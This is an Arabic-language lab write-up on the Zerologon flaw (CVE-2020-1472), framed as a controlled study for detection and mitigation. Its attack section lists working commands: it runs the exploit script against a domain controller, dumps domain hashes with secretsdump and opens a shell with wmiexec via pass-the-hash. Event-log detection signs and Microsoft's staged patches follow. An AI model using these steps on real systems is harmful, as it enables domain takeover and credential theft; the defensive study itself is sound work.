Zerologon_CVE-2020-1472

الهدف

هدف هذا البحث في الثغرات الأمنية إلى إنشاء بيئة محاكاة خاضعة للرقابة لتنفيذ هجوم Zerologon على Windows Server 2016 عبر Kali Linux لأغراض الكشف والتخفيف. كان التركيز الأساسي هو تنفيذ اختبار اختراق للثغرة وإظهار إمكانية التحكم في سطح مكتب دون تسجيل الدخول كمستخدم لسطح المكتب مع اكتشاف الثغرة وتخفيفها.

المهارات المكتسبة

• فهم متقدم لعارض الأحداث في Windows
• إتقان استخدام Kali Linux و Impackets
• القدرة على تنفيذ هجوم Zerologon

الأدوات المستخدمة

• أكواد Zerologon
• Windows Server 2016
• Kali Linux

خطوات تنفيذ Zerologon

Kali Linux

1. استخدم الأمر sudo su للوصول إلى المستخدم الجذر
2. git clone https://github.com/dirkjanm/CVE-2020-1472
3. cd /home/kali/impacket/examples/CVE-2020-1472 (قم بتغيير المسار وفقًا لدليلك)
4. /cve-2020-1472-exploit.py -n [NETBIOS] -t [IPaddress]
5. secretsdump.py -no-pass -just-dc [NETBIOS/User]$@[IP adress]
6. wmiexec.py [Domain/User@IP] - hashes [hash]

خطوات الكشف عن Zerologon

Windows

هام قم بتعطيل ميزة الأمان

1. تحقق من عارض الأحداث
2. ضمن مدير الخادم، اختر سجلات Windows، الأمان وابحث عن معرف الحدث 4624 (حدث تسجيل دخول المستخدم) علامات هجوم Zerologon

• سيكون موضوع السجلات مسمى NULL SID
• يجب أن يُمنح تسجيل الدخول هذا صلاحيات إدارية أيضًا.
• يمكنك أيضًا التحقق من السجل 4742 (سلطة NT هي المهاجم)

خطوات التصحيح

طورت Microsoft تصحيحات متاحة لحماية خوادم Windows (2008 و 2016 و 2019)؛ هكذا كان مخططًا. في المرحلة الأولى، عند تنزيل التصحيح الأول (تصحيح أغسطس)، يمكن للمجال حماية الأجهزة الأخرى المتصلة من الأجهزة غير المتوافقة؛ سيكون هناك خيار لحماية جميع الأجهزة المنضمة مع استثناء صريح.

التصحيح الثاني (تصحيح فبراير من العام التالي)، مرحلة الإنفاذ، عند تثبيته، تُجبر جميع أجهزة Windows وغير Windows على استخدام استدعاء إجراء عن بعد آمن مع Netlogon. أو السماح صراحةً لأجهزة موثوقة معينة. بشكل أساسي، طرد الكمبيوتر غير المتوافق من المجال.